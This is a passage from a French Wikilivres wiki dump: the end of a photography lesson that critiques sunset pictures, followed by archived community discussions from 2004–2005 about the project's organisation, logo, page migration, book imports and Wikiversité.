hautes lumières, qui sont « brûlées », et dans les ombres réduites pour l'essentiel à des masses sombres. Il est difficile d'obtenir une meilleure image autrement qu'en effectuant deux poses très différentes et en les assemblant, au prix évidemment d'un changement radical de l'ambiance lumineuse. |- |[[Image:Paraguana.jpg|240px|center]] |'''Paraguana'''<br><br> Le soleil est là aussi loin de l'horizon mais en grande partie masqué. La partie visible a toutefois émis une lumière assez violente pour influencer le système de mesure de la lumière, la sous-exposition est manifeste. Malgré quelques nuages et le passage d'un vol d'oiseaux, la photographie est tout de même assez vide ; le résultat aurait sans doute été meilleur si le soleil avait été décentré, à la fois pour la pose et pour la composition. |- |[[Image:Vgama.jpg|240px|center]] |'''Pont Vasco de Gama, Lisbonne'''<br><br> Comme pour la première photo, les contrastes sont violents et la photo est globalement sous-exposée, ce qui dans le cas présent n'est pas forcément un défaut ... Le soleil, heureusement quelque peu voilé, et son reflet dans l'eau sont en revanche nettement surexposés. Le ciel est vide, mais cela n'a guère d'importance ici car le véritable sujet n'est pas le décor mais bien plutôt le pont, bien situé dans le cadre pour obtenir une image dynamique. |- |[[Image:Fisherman on Lake Tanganyika.jpg|240px|center]] |'''Pêcheurs sur le lac Tanganyika'''<br><br> Le soleil est toujours visible mais sa lumière est très probablement assez atténuée par la brume pour que l'on puisse le regarder à l'œil nu sans que cela provoque de dégâts oculaires. Intrinsèquement, le ciel et l'eau sont plutôt vides mais les couleurs sont agréables, l'image est bien composée et les pêcheurs apportent un élément de vie fort intéressant. |- |[[Image:Midnight Sun in Itivdleq fjord.jpg|240px|center]] |'''Soleil de minuit dans le fjord d'Itivdleq'''<br><br> Le soleil de minuit donne une ambiance crépusculaire de longue durée. Le voile atmosphérique asoucit les contrastes et les montagnes ne sont plus noires mais brunes. Cette photographie n'est pas vraiment bien composée, l'auteur aurait dû choisir entre le ciel et l'eau au lieu de nous proposer deux parties égales. Un cadrage panoramique obtenu en coupant le haut du ciel aurait sans doute été plus harmonieux mais le principal problème est l'absence d'un premier plan. |- |[[Image:Midnight sun in Disko Bay.jpg|240px|center]] |'''Soleil de minuit dans la baie de Disko'''<br><br> Cette photographie peut être considérée comme beaucoup plus intéressante que la précédente par l'ambiance lumineuse qui s'en dégage. Le regard s'éloigne des détails nets au premier plan pour aller se perdre dans les brumes, au lieu de venir buter sur les montagnes. |- |[[Image:Sunset in Kuching, Sarawak.jpg|240px|center]] |'''Coucher de soleil à Kushing, Sarawak'''Avec l'habitude, on devient vite difficile pour les photos de couchers de soleil. Celle-ci est bien exposée mais relativement banale, la ville est assez plate et peu visible, à l'exception de deux immeubles pas forcément très esthétiques. Celui de gauche cache malheureusement une montagne, mais il n'était sans doute pas possible de changer de point de vue pour se décaler à gauche ou à droite. |- |[[Image:IMG 2305.jpg|240px|center]] |'''Portovenere'''<br><br> Une photographie agréable mais pas extraordinaire. Elle est l'occasion de faire remarquer un phénomène coloré intéressant : les nuages jaunes et le ciel bleu présentent des couleurs à peu près complémentaires et occupent des surfaces approximativement égales. Le mélange de ces deux couleurs au niveau des vaguelettes de la mer, qui sont trop petites pour que l'œil puisse les distinguer, tend vers le gris. C'est pourquoi, au lieu de réfléter les couleurs chatoyantes du ciel, la mer paraît aussi terne. |} {{EnTravaux}} <gallery> Image:ComoImmagine 067.jpg Image:Redskyatnight.jpg Image:Sunset in Coquitlam.jpg Image:Midnight sun in Disko Bay.jpg Image:Sunset Starnberger See.jpg Image:Sonnenuntergang Queensland.jpg Image:Sonnenuntergang Delsbo.jpg Image:Sonnenuntergang Delsbo 2.jpg </gallery> Wikilivres:Le Bistro/archives 5545 34128 2006-02-23T08:46:28Z 217.225.114.107 /* media:WikiLivres-logo.png */ Les '''archives du [[Wikilivres:Le Bistro|bistro]] de Wikilivres''' sont stockées ici, ajoutez les dernières archives chronologiquement. Toutes discussion continuée ici sera effacée, [[Wikilivres:Le Bistro|commencez plutôt sur le bistro]]. ----- ==Ameliorer la lisibilite de fr.wikibooks.org ?== J'ai toujours peur d'intervenir dans les communautés car c'est dur d'être un débutant, un nouveau. Donc la plus part du ou plus tôt tout le temps je cherche partout partout et ne pose pas de questions. Et jusqu'ici cela marche mais en fait c'est parce que je suis téméraire (avec la bonne orthographe) mais la plus part des ''sims'' euh.. je veux dire des gens qui consultent les wikibooks.org ne sont pas des geeks ou je ne sais quoi d'autre comme espèce cybernétique. Donc ils s'épuisent vite. Tous cela pour dire qu'avant de poser une charte pedagogique (enfin je pense), il faudrai '''améliorer "l'accès a la contribution"''''. Les informations existent mais elles sont dispatchées sur les différents wikis et peu de gens sont enclin a faire des sauts entre les wikis suivirent pleins de discussion pour savoir comment nommer son livre et finalement voir tout le monde faire ce qu'il veux. On pourrait lancer une page avec un nom adequat (i.e. a vous de le trouver) ou bien le bistrot fera l'affaire et lister tout ce qu'il faut ameliorer (et en discuter) pour rendre plus accessible le wiki (Il y a un TODO quelque part mais j'arrive pas a le retrouver) * La page [[Accueil]] * [[Wikilivres:Comment modifier une page|participer]] * [[Wikilivres:Prise_de_d%C3%A9cision]] [[Utilisateur:Aneglus|Aneglus]] :On peut déjà commencer par retravailler la page [[Wikilivres:Accueil]], qui n'est, malheureusement, que trop peu utilisée. Je pense que c'est ce qui manque à Wikilivres, le côté communautaire. [[Utilisateur:Esope|Esope]] 14 jul 2005 à 22:12 (UTC) ==Charte pédagogique== ''discussion dupliquée depuis la page de discussion de l'accueil''<br> Sinon pour voir grand concernant wikilivre je pense qu'il faudrait établir une [[Projet:Charte pédagogique|charte pédagogique]] pour organiser les connaissances suivant les niveaux.--[[Utilisateur:Anarchimede|Anarchimede]] 26 déc 2004 à 16:07 (UTC) :Je suis d'accord pour la charte pédagogique. Mais il faudrait à mon avis que wikilivres décolle un peu avant de vraiment pouvoir organiser bien les choses, en fonctions des besoins observés, avec plus d'avis qu'une poignée de contributeurs. Où alors, on peut aller voir sur Wikibooks comment ils se sont débrouillés. <br />Néanmoins, je pense qu'organiser la Connaissance suivant des niveaux est très artificiel ( scolaire ). Il faudrait plutôt que chaque ouvrage précise les prérequis indispensables à la lecture de tel ou tel ouvrage. Par exemple, un livre sur la physique quantique précisera que le lecteur doit connaître la physique classique, le calcul différentiel, etc. On peut ainsi dessiner un arbre (plutôt un graphe, d'ailleurs) des connaissances, où pour arriver à une certaine branche, il faut être passé par une certaine branche partant du tronc et connaître tout les ouvrages rencontrés.<br />En fait, le parallèle se trouve en biologie : c'est la différence entre la classification classique, qui fait rentrer tant bien que mal (et plutôt mal, à vrai dire) les différentes espèces dans des cases, et la classification phylogénétique, qui part du fait qu'au début, il n'y avait qu'une seule espèce, qui a muté en engendré toutes les autres; à partir de là, on construit l'arbre de la vie.<br />Ceci ne doit pas nous empêcher de préciser que tel où tel ouvrage correspond à des connaissances apprises à tel niveau scolaire. Ce n'est cependant pas très universel, car cela varie suivant les pays et les universités. Dans quelle mesure, je n'en sais rien. <br/ >[[Utilisateur:Xillimiandus|Xillimiandus]] 26 déc 2004 à 16:58 (UTC) ::En effet il est peut-être trop tôt pour établir réellement une charte pédagogique dans wikilivre. En ce qui concerne la charte je suis d'accord qu'il vaut mieux éviter de rentrer dans des niveaux scolaire et qu'il faut parler de prérequis pour tel ou tel matière. mais il serait judicieux d'introduire un sujet de manière accessible et ludique de manière à inciter le lecteur à lire le livre et à cxomprendre sa portée même si on est pas du tout versé dans le sujet. En particulier pour les sciences. Bien amicalement ;-) --[[Utilisateur:Anarchimede|Anarchimede]] 27 déc 2004 à 02:06 (UTC) :J'ai commencé un petit quelque chose sur la [[Projet:Charte pédagogique|charte pédagogique]], il est peut-être trop tôt pour présenter une charte mais je pense que en discuter nous ferait pas de mal. Une fois finie elle pourrait peut-être servir de base aux nouveaux wikiécrivains. Et permettre à chacun de mieux savoir où il va.--[[Utilisateur:Anarchimede|Anarchimede]] 27 déc 2004 à 02:48 (UTC) ==Wikibooks -> Wikilivres dans les titres== ''Discussion déplacée depuis la page de discussion de l'accueil.''<br> Bonjour, D'après ce que j'en ai compris, un programme transforme le texte "brut" qu'on tape quand on édite une page pour l'intégrer à Wikilivres : rajout du menu, couleurs de fonds, etc. Et aussi "Titre de la page''' - Wikibooks'''". Serait-il possible de changer ce Wikibooks en Wikilivres ? [[Utilisateur:Esope|Esope]] 7 nov 2004 à 12:44 (UTC) == Espace de nom == Wikilivres: est donc l'espace de noms méta ici. Qu'est ce qui se passe pour les pages en Wikibooks: ? [[Utilisateur:Greudin|Greudin]] :L'espace [[Wikilivres:Pages meta|Wikilivres]] a été créé. Les pages Wikibooks doivent êtré déplacées. [[Utilisateur:Yann|Yann]] 23 jul 2004 à 13:29 (UTC) Question bête : quelle est la différence entre Wikibooks et Wikilivres ? --[[Utilisateur:Marc Meyer|Marc Meyer]] 24 aoû 2004 à 08:03 (UTC) :L'un est anglais et l'autre français. D'après ce que j'en ai compris, au début du projet français, Wikilivres se trouvait sur le site anglais, donc les pages méta "de l'époque" sont précédés de "Wikibooks:" même si c'est des textes français. A terme toutes les pages françaises qui se trouvent sur le site anglais Wikibooks seront transférées sur le site français Wikilivres.<br/>Anciens, corrigez-moi si j'ai tort, je suis un nouvel arrivant avide d'apprendre ;-) [[Utilisateur:Esope|Esope]] 3 nov 2004 à 02:02 (UTC) *Pour écrire une page dans l'espace de noms méta Wikilivres, il suffit de faire précéder le nom de la page par Wikilivres: ? - [[Utilisateur:Esope|Esope]] 6 nov 2004 à 16:22 (UTC) === Traduction des messages === J'ai l'etrange sentiment que les messages de l'application ne sont ''au meme niveau de traduction'' que pour fr.wikipedia. Est-ce possible ? Si oui, comment y remedier ? (dispo pour un coup de main) [[Utilisateur:Xmlizer|Xmlizer]] 25 jul 2004 à 13:06 (UTC) :La page [[m:Requests_for_languageXX.php_update]] semble recenser les traductions. [[Utilisateur:Greudin|Greudin]] == Logo Wikilivres == Le [http://fr.wikibooks.org/images/wiki-textbook.png logo actuel] aurait besoin d'être francisé, si tout le monde est d'accord je vais proposer le changement de logo sur [[m:Requests for logos]] avec la phrase ''Penser libre. Apprendre libre''. [[Utilisateur:Greudin|Greudin]] : Nouveau logo ou traduction? Je suis en train d'en créer un nouveau, j'ose croire qu'il est pas mal...à suivre...[[Utilisateur:Franfois|Franfois]] 30 jul 2004 à 03:17 (UTC) :: Génial, les anglophones ont fait [[w:en:Logo_discussion|quelques essais ici]]. [[Utilisateur:Greudin|Greudin]] ::::Peux-tu revoir ton lien? Il semble ne pas fonctionner. [[Utilisateur:HB|HB]] 31 jul 2004 à 11:27 (UTC) :::::Le bon lien est là [[:en:Logo_discussion|quelques essais ici]]. [[Utilisateur:Xillimiandus|Xillimiandus]] ::: Bon, je me mouille. Après avoir travaillé hier soir jusqu'à minuit pour que mon PC plante (hé oui, qu'est-ce que je fous encore avec windoze, moi?), ben j'ai mis sur octets un logo...je lance un vote : [[Wikilivres:Vote pour le logo]]...Comme le disais Grégory Charles, Que le meilleur gagne! [[Utilisateur:Franfois|Franfois]] 30 jul 2004 à 15:06 (UTC) : ''apprendre libre''? Pas très français... Pourquoi pas plutôt ''Apprendre et penser librement''. J'ai essayé de modifier le logo, voir le résultat dans [[Wikilivres:Vote pour le logo]] [[Utilisateur:HB|HB]] 30 jul 2004 à 16:48 (UTC) ::J'y est pensé mais c'est oublié le sens ''apprendre libre'' comme ''vivre libre'', ce n'etait pas ''think freely. Learn freely''. [[Utilisateur:Greudin|Greudin]] : Je propose aussi ''Libre de penser et d'apprendre'' [[w:utilisateur:Rouletabille]] :: Moi je suis d'accord pour ''Libre de penser et d'apprendre'', mais maintenant il serait temps de changer le logo!!!!--[[Utilisateur:Duarna|Duarna]] 15 aoû 2005 à 20:32 (UTC) ==Etat des wikilivres== J'ai ajouté le tableau Etat des wikilivres (d'après l'anglais) dans la page d'accueil, mais il n'est pas très bien placé. Si un expert pouvait s'en charger. Merci. [[Utilisateur:Simias|Simias]] 31 jul 2004 à 13:01 (UTC) :C'est voulu que le logo à trois carrés ("Developed text" : "Texte développé") des anglais n'ait pas été repris ? [[:en:Image%3A75%25.png]] - [[Utilisateur:Esope|Esope]] 7 nov 2004 à 09:58 (UTC) == nouveau(x) livre(s) == Salut, j'ai réalisé un mémoire professionnel dans le cadre de ma formation d'enseignant. Il s'agit d'un court texte d'une trentaine de page sur la façon dont on peux aider les élèves à rédiger des phrases à partir d'images, le tout en classe d'Histoire au collège. Je sais, c'est compliqué et peu intéressant mais je voulais savoir si je mettais ce mémoire ici où bien dans le wiki consacré aux ressources libres ? Merci de votre aide. [http://fr.wikibooks.org/wiki/Utilisateur:Yoanntours Yoann] Le 24 octobre 23:25. :Vu que c'est un document à caractère pédagogique, plutot ici dans wikilivres. [[Utilisateur:Guillaumito|Guillaumito]] 25 oct 2004 à 07:12 (UTC) ==Pourquoi avoir plusieurs wiki??== doit on vraiment scinder tous ces wiki {| | align="center" | [http://fr.wiktionary.org/wiki/Accueil '''Wiktionnaire'''] <br /> ''Un dictionnaire et thésaurus'' | align="center" | [http://fr.wikiquote.org '''Wikiquote'''] <br /> ''Des citations'' | align="center" | [http://fr.wikipedia.org '''Wikipedia'''] <br /> ''Encyclopédie libre'' | align="center" | [http://sources.wikipedia.org/wiki/Main_Page%3AFran%C3%A7ais '''Wikisource'''] <br /> ''Documents libres'' |} pourquoi [http://fr.wikipedia.org '''Wikipedia'''] ne pourrait pas regrouper tout cela et etre une base de savoir? -- [[w:Vev|Vev]] 18 sep 2004 à 22:05 (UTC) :Parce que ce sont des documents différents pour un public différent ? [[Utilisateur:Yann|Yann]] 20 sep 2004 à 14:17 (UTC) ::Je trouve aussi que les différents projets Wikimédia doivent rester scindés, c'est beaucoup plus facile pour la rédaction et pour la consultation. En revanche, un méta-moteur qui lancerait la recherche sur tous les wikis serait pratique, je trouve (je ne sais pas si ça existe déjà. Si ce n'est pas le cas, je suppose qu'il faudra plutôt en parler sur le site méta de Wikimédia qu'ici). [[Utilisateur:Esope|Esope]] 3 nov 2004 à 02:13 (UTC) :Parce que Wikipédia est avant tout une encyclopédie. Pour garder une cohérence. Et parce qu'il vaut mieux plein de petits projets autonomes (mais pas indépendants !) formant un tout cohérent, et restant chacun relativement simples, et adaptés à leurs projet, qu'un grand projet monolithique complexe où plus personne ne comprend plus rien.<br />Wikilivres, Wikipedia, Wikitionnaire sont des projets complémentaires, mais ils ont des besoins précis, et différents. Scinder les projets permet à chaque projet d'exploiter au mieux MediaWiki pour répondre à ses besoins. (page d'accueil, page d'aide spécifique, bistro, etc.).<br />[[Utilisateur:Xillimiandus|Xillimiandus]] 26 déc 2004 à 15:47 (UTC) == Annonce sur Linuxfr.org == Bonjour, Une annonce est parue sur http://linuxfr.org pour les cours pour les [[Certifications Linux LPI]]. cf. [http://linuxfr.org/2004/10/20/17459.html]. [[Utilisateur:Yann|Yann]] 20 oct 2004 à 16:03 (UTC) :Merci [[Utilisateur:Yann|Yann]] pour cette initiative, c'était une super idée ! [[Utilisateur:Guillaumito|Guillaumito]] 20 oct 2004 à 17:57 (UTC) == Migration == Il reste 3 livres à déplacer / vérifier et supprimer depuis http://en.wikibooks.org/wiki/Main_Page:Français * http://en.wikibooks.org/wiki/Enseignement_du_portugais_Boas-vindas (uniquement les images) * http://en.wikibooks.org/wiki/Dictionnaire_Fructueux:_Préface * http://en.wikibooks.org/wiki/Programmation Un petit coup de main ? [[Utilisateur:Yann|Yann]] 9 nov 2004 à 16:59 (UTC) :En terminant le transfert du [[Programmation Glossaire]], je pense avoir achevé le transfert du livre [[Programmation]]. Je vais vérifier et placer la balise <nowiki>{{delete}}</nowiki> sur chaque page du livre de programmation transférée où cela a été oublié (au passage Yann, avec le glossaire que je viens de transférer, il y a une quinzaine de pages à supprimer en plus) - [[Utilisateur:Esope|Esope]] 9 nov 2004 à 19:17 (UTC) ::Yann, dans la page de discussion de l'accueil de l'ancien site, on peut voir que tu as créé trois documents, et participé à un quatrième, qui sont : ::*Déclaration universelle des Droits de l'Homme ::*Déclaration des Droits de l'Homme et du Citoyen ::*Constitution de la France (5e République) ::*Constitution américaine et les gouvernements ::Ces textes semblent avoir plus leur place dans Wikisources, et d'ailleurs c'est ce que tu indiques dans le résumé de l'historique. Je ne les ai pas trouvés sur Wikisources, peut-être sont-ils enregistrés sous un autre nom. Question : peut-on les supprimer ? <br/>Et tant que j'y suis, le transfert du livre [[Programmation]] est complètement terminé !- [[Utilisateur:Esope|Esope]] 28 nov 2004 à 10:32 (UTC) == longueur des articles == Quelle est la structure idéale d'un Wikibook, sachant que l'ensemble des chapitres (photos non comprises) va représenter au moins 700 à 800 ko ? Pour ceux qui connaissent, il s'agit de tous les articles actuels de WP qui concernent la tribologie et de ceux qui restent à rédiger. --[[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 10 nov 2004 à 18:59 (UTC) :J'ai mis ici des cours également assez long : [[Certifications Linux LPI]]. Si cela peut te donner une idée. [[Utilisateur:Yann|Yann]] 10 nov 2004 à 20:11 (UTC) ::Je pense qu'il ne faut pas hésiter à créer des sections séparées dans le chapitre. Une page trop longue pourrait repousser le visiteur, tandis qu'une page moyenne avec beaucoup de liens vers des sections précises permet au visiteur d'accéder plus facilement à l'information. - [[Utilisateur:Esope|Esope]] 11 nov 2004 à 01:17 (UTC) ::: J'ai bien compris, de toute manière mes 700 ou 800 ko vont être débités en tranches mais je m'interroge quantitativement sur la taille du "morceau moyen". --[[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 11 nov 2004 à 01:33 (UTC) ::::Perso, je pense que 32 Ko est une limite raisonnable. Pas nécessaire de faire des articles trop courts non plus. [[Utilisateur:Yann|Yann]] 14 nov 2004 à 11:59 (UTC) :::::La fonction Sommaire (automatique sur tous les wikis) permet ÀMHA de rehausser cette limite jusque 100ko, qui correspond d'ailleurs à la taille d'un petit livre imprimé. [[Utilisateur:82.224.88.52|82.224.88.52]] 28 fév 2005 à 07:44 (UTC) ::::::P.S. : quand je disais ''taille d'un petit livre'', dans mon esprit je sous-entendais '''wikireader''' ; cependant, en relisant un autre ''thread'', j'ai fini par me rendre compte de la confusion autour du mot même de ''wikireader''. Non ! je n'ai '''pas''' la prétention d''''éditer tout wikipedia''', que ce soit sur CD-ROM ou sur papier. Pour moi, que ce soit le mécénat du Roi-Soleil ou un '''survol du jeu de bridge''', un ''wikireader'' ne concerne qu'une ''vitrine'', une très faible partie de wikipédia sur papier. Voir à ce sujet ce que font déjà nos [http://www.wikireader.de/index.php/cPath/21?osCsid=1208f0e7546de29d4af78bd2c8d7a138 amis allemands]. [[Utilisateur:82.224.88.52|82.224.88.52]] 11 mar 2005 à 10:20 (UTC) == liens vers wikipedia == Je me trouve confronté à un problème de base : j'aimerai lier certains mots spécifique du bouquin [[Les principales voies du métabolisme]] à leur page de définition. Or ces pages existent dans wikipedia mais pas dans wikilivres. N'existe-t'il pas un raccourci typo simple de wikilivre pour aiguiller ces liens vers wikipedia et non vers des pages inexistantes de wikilivres ? [[Utilisateur:Bionet|Bionet]] 12 nov 2004 à 20:20 (UTC) :Oui, par exemple pour un lien vers l'[[w:fr:Accueil|accueil]] de wikipédia : <nowiki>[[w:fr:Accueil|accueil]]</nowiki>. [[Utilisateur:Guillaumito|Guillaumito]] 12 nov 2004 à 20:30 (UTC) ::C'est ça, merci beaucoup ;-) [[Utilisateur:Bionet|Bionet]] 13 nov 2004 à 02:11 (UTC) :::On peut encore plus simplement faire <nowiki>[[w:Accueil|accueil]]</nowiki> (ou même <nowiki>[[w:accueil|]]</nowiki>), le lien w: reste dans la même langue. [[Utilisateur:Xillimiandus|Xillimiandus]] == C++ et YAGIL de C. Casteyde == Je m'appelle Hasan, j'ai découvert Wikipédia il y a 2-3 mois, donc je suis un petit débutant, je n'ai fait que des corrections orthographiques mineures jusqu'à présent et j'aimerais plus m'investir. Christian Casteyde a écrit plusieurs "livres" dont un très fameux sur le C++ et un moins connu mais de très bonne qualité qui est le YAGIL (Yet Another Guide d'Installation pour Linux) J'ai un contact email avec lui et j'aimerais "transférer" ces 2 ouvrages, d'abord celui sur le C++ dans wikilivres, mais je suis totalement novice, est ce que qqun, pourrais me tenir par la main au début, pour créer la structure, conseil, etc... Je suis très motivé et j'aimerais le faire seul mais j'ai vraiment besoin d'un mentor Merci ~ :Salut, je suis pour l'instant celui qui s'occupe le plus du livre de progammation. Je veux bien te donner une coup de main, essentiellement en ce qui concerne le livre sur C++. Première question : les ouvrages sont-ils libres de droits ou ouverts ? En effet, les projets de Wikimedia sont en licence GFDL, c'est à dire qu'ils sont librement consultables, modifiables et réutilisables par n'importe qui. Cela siginifie que l'auteur des ouvrages en question doit être d'accord avec leur mise en GFDL. [[Utilisateur:Traroth|Traroth]] 21 nov 2004 à 15:58 (UTC) :Le document est effectivement sous GNU FDL (C.f http://casteyde.christian.free.fr/online/cours_cpp/book1.html ). Bon, c'est un sacré pavé, il y aura du boulot pour celui qui voudra l'inclure dans le wiki. Cela dit, il est bien écrit, ça serait un plus de l'avoir dans wikilivres. [[Utilisateur:Tpierron|Thierry]] 21 nov 2004 à 12:37 (-0500) :Je peux également aider si besoin, à partir du vendredi 17 décembre. [[Utilisateur:Dhenry|Dhenry]] 5 déc 2004 à 16:55 (UTC) :J'ai créé une pages des [[Wikilivres:Ressources_libres_de_droit|Ressources libres de droit]] (disponible sur l'embryon d'accueil communauté), où j'ai ajouté les liens vers ces ouvrages. [[Utilisateur:Traroth|Traroth]] 4 jan 2005 à 16:05 (UTC) Bon, j'ai créé un modèle qui reprend le plan du livre : [[Modèle:Programmation C C plus plus]], j'ai légérement retouché quelques noms de sections (principalement pour une question de largeur du modèle). Reste plus qu'à remplir maintenant :) [[Utilisateur:Guillaumito|Guillaumito]] 5 jan 2005 à 22:56 (UTC) ==section manuel d'utilisation == on pourait peut être créer une section manuels guides et tutorielsdes programes les plus connus et ,guide d'instalation des principaux programe libres et non libres ce qui completerait le site == Histoire == Pas encore de section [[Histoire]] dans les wikilivres? J'aimerai plancher, à partir de la version anglaise et de diverses autres sources (perso, wiki.fr,etc...) sur une [[Histoire de l'Europe]]. Des bonnes volontés pour se partager le travail? Il n'y a pas de pages [[projets]] dans wikilivres? --[[Utilisateur:Topf|Topf]] 25 nov 2004 à 09:40 (UTC) :Moi je suis passionné par l'Union Européenne, je pourrais apporter un coup de main (quand j'aurais un peu plus de temps) sur cet aspect de l'Europe, ainsi que sur l'Antiquité. De manière générale, j'adore l'Histoire.<br/>Concernant les pages de Projets, il faudrait voir si le besoin s'en fait sentir. Comme Wikilivres est bien plus structuré que Wikipédia, je ne pense pas qu'il faille de Projets pour la rédaction des wikilivres (il est quasi impossible que quelqu'un aille écrire un autre livre de [[Programmation]] par exemple, il devrait normalement arriver naturellement sur le livre existant, donc les efforts sont déjà concentrés). Cela pourrait être utile en revanche pour un aspect plus global de Wikilivres (transfert des pages de l'ancien site, traduction, rajout de liens à partir de Wikipédia si possible, etc) - [[Utilisateur:Esope|Esope]] 25 nov 2004 à 17:33 (UTC) ==Projet physique== Salut Wikiécrivains (je sais le terme n'a pas été encore adopté mais bon faut savoir anticiper)!! Y a-til des physiciens parmi vous??? Si oui en physique y'a du boulot à faire et je pense que qu'il n'y aura pas de Wikiécrivains en trop pour ce projet. Pour ce qui est des modalités d'écritures je pense qu'il faut d'abord écrire et ensuite on pourra changer la forme éventuellement. J'ai commencé à écrire en [[Thermodynamique]] les critiques, apports, et encouragements seront les bienvenus --[[Utilisateur:Anarchimede|Anarchimede]] 19 déc 2004 à 01:53 (UTC) :OK pour collaborer. Je finis ce que j'ai commencé sur les fondements des mathématiques (je suis physicien de formation (DEA) mais logicien autodidacte) et ensuite je me mets à fond sur la physique.--[[Utilisateur:Thierry Dugnolle|Thierry Dugnolle]] 22 fév 2005 à 23:12 (UTC) ==Chat IRC== Je ne sais vraiment comment on créé un chat IRC mais avec chatzilla du navigateur mozilla je suis parvenu à créé ce canal IRC [irc://irc.freenode.net/fr.wikibooks]. Alors si vous voulez discuter en direct à bientot. --[[Utilisateur:Anarchimede|Anarchimede]] 23 déc 2004 à 13:44 (UTC) :Il existe déjà un canal #fr.wikipedia sur freenode, ça serait pas mal de pas trop se diperser déjà :) Rien ne nous empêche d'être sur les deux, j'aurai plus l'impression d'être hors-sujet sur #fr.wikipedia que sur #fr.wikibooks :) Au fait, sur http://fr.wikibooks.org/wiki/Wikilivres:Accueil c'est #fr.wikibooks qui est donné--[[Utilisateur:Snap|Snap]] 17 avr 2005 à 10:47 (UTC) == L'histoire des sciences == Salut, j'ai une série des conférences sur '''l'histoire des sciences''' : Egypte & Mésopotamie, Monde Grec, Chine & Inde, Monde Arabe, Monde Occidental Chrétien et La Renaissance. Ces conférences ont un souci pédagogique, elles sont en format pdf. Je souhaiterais le mettre à la disposition de la communauté, qu'en pensez vous ? et comment faire pour le mettre dans les Wikilivres. Cordialement Angel Bruceña (abrucena@yahoo.fr) : Bonjour ! Webmaster de [http://brucena.free.fr/ brucena.free.fr] je suppose ? Excellent site, qui est même référencé dans les liens externes de [[w:Histoire des Sciences|Histoire des sciences]] (quoique c'est peut-être vous qui l'avez ajouté, je n'ai pas regardé l'historique &mdash; c'est sans importance). L'initiative de partager ces ressources est très bonne. J'ai initié sur Wikipédia le [[w:Wikipédia:Projet, Histoire des sciences|projet Histoire des sciences]], peut-être serait-il intéressant de commencer par là ? Au cas où vous voudriez vraiment commencer un wikilivre, je serais disposé à vous aider (vous pouvez me tutoyer). Meanos 19 jan 2005 à 22:35 (UTC) == GIMP == Sorry for writing in english, i just thought i'd let you know (in case you dont already know), that there is a GFDL licensed book on [[w:GIMP|GIMP]] (GNU Image Manipulation Programme) in french at [http://www.le-radar.com/]. It could be used on wikilivres. [[Utilisateur:The bellman|The bellman]] 27 jan 2005 à 03:34 (UTC) The bellman s'excuse de laisser un message en anglais et voulez vous informer (au cas ou vous ne le sauriez pas) qu'il y existe un livre en français sur le logiciel [[w:GIMP|GIMP]] (sur http://www.le-radar.com/) que vous pouvez utiliser sur Wikilivre. Aoineko :Thank you [[Utilisateur:The bellman|The bellman]], I will import it in Wikilivres if I got some time...for time being, I'm adding it to the free references page. [[Utilisateur:Guillaumito|Guillaumito]] 27 jan 2005 à 07:20 (UTC) :Merci [[Utilisateur:The bellman|The bellman]], j'essaierais de l'importer si j'ai temps un de ces jours...en attendant, je vais le mettre dans la page des ressources libres. [[Utilisateur:Guillaumito|Guillaumito]] 27 jan 2005 à 07:20 (UTC) ::Je suis éventuellement partant pour le faire, j'ai regardé sur le site visiblement le livre est en ré-écriture.. donc peut etre attendre un peu.--[[Utilisateur:M4RC0|M4RC0]] 7 mai 2005 à 21:37 (UTC) ==Wikiversité== La première pierre de la [[wikiversité]] vient d'être posée sur l'exemple de la grande [[en:wikiversity|wikiversity]].<br /> ''La Wikiversité est une université virtuelle libre et gratuite, pour apprendre et pour la recherche. Des cours en ligne sont créés ici sous forme coopérative et d'échanges interactifs de connaissances.''<br /> La grandeur de la tâche donne le tournis. Si vous avez la fibre enseignante (pro ou pas) ... [[Utilisateur:Greudin|Greudin]] ===:Linguistique ou :Facult%C3%A9_de_Linguistique ?=== Doit on continuer à écrire ainsi : :Linguistique :Musique etc. ou doit on adopter la forme suivante comme en anglais et italien ? :Facult%C3%A9_de_Linguistique :Facult%C3%A9_de_musique 84.30.80.16 :Pas de préferences pour ma part, à la discrétion du premier auteur. ~~ ===Supprimer page ?=== Ne faudrait-il pas supprimer cette page: http://en.wikibooks.org/wiki/Wikiversity:Fran%C3%A7ais la fusionner avec cette page : http://fr.wikibooks.org/wiki/Wikiversit%C3%A9 sans oublier de corriger le lien sur cette page: http://en.wikibooks.org/wiki/Wikiversity#Wikiversity_in_other_languages 84.30.80.16 :Le lien est corrigé, (cf. [[:en:Template:WikiversityLang]]). [[Utilisateur:Greudin|Greudin]] ===Faculté de Musique=== Je suis en train de créer le "Département guitare classique" de la "Faculté de musique": J’ai par erreur créé 2 pages : Bonne page (grand M) : http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Musique Mauvaise page (petit m) : http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:musique Et le lien direct ne fonctionne que sur une des 2 pages de la wikiversité : Le lien ne marche pas : http://fr.wikibooks.org/wiki/Wikiversit%C3%A9 Le lien marche : http://fr.wikibooks.org/w/index.php?title=Wikiversit%C3%A9 Je n’ai pas tout compris mais est-ce que quelqu’un pourrait réparer ça afin qu’il soit possible de créer de nouvelles pages pour la même université ? Le but de cette wikiversité de musique est principalement de servir de base de donnée aux étudiants et futurs étudiants dans des universités ou écoles supérieures de musique, et non pas de se substituer à elles. (On ne peut tout de même pas prendre un cours de violon seul devant son ordinateur !) Elle peut aussi aider à la formation continue des professeurs des conservatoires et écoles de musiques. A mon sens, tous les cours proposés devraient être à un niveau universitaire. (Et donc pas de cours pour débutants où l'on apprend à lire la clef de sol…) 84.30.80.16 (Pas encore de login...) :Effacé wikiversité:musique. Dans le cas d'un débat possible il faut l'ajouter dans la [[wikilivres:pages à supprimer|liste des pages à supprimer]]. La faculté de Musique est maitenant notre plus grande faculté ;-) avec 84.30.80.16 comme doyen. [[Utilisateur:Greudin|Greudin]] == Exercices == Wikilivres propose des ouvrages pédagogiques. Est-ce que l'on peut compléter chaque chapitre par des exercices comme il existe dans l'apprentissage de l'allemand dans wikibooks ? Car après tout si on apprend on peut aussi chercher à appliquer. [[Utilisateur:Antoinel|Antoinel]] :''Kein problem''. [[Utilisateur:Greudin|Greudin]] : Très bonne idée en effet [[Utilisateur:Bionet|Bionet]] 9 avr 2005 à 13:30 (UTC) == Prise de décisions == Je viens de créer une page pour les [[Wikilivres:Prise de décision|prises de décision]] semblable à celle de [[w:fr:Accueil|Wikipédia]]. J'ai lancé quelques sujets de discussion qui me trottaient dans la tête depuis quelques temps...donnez 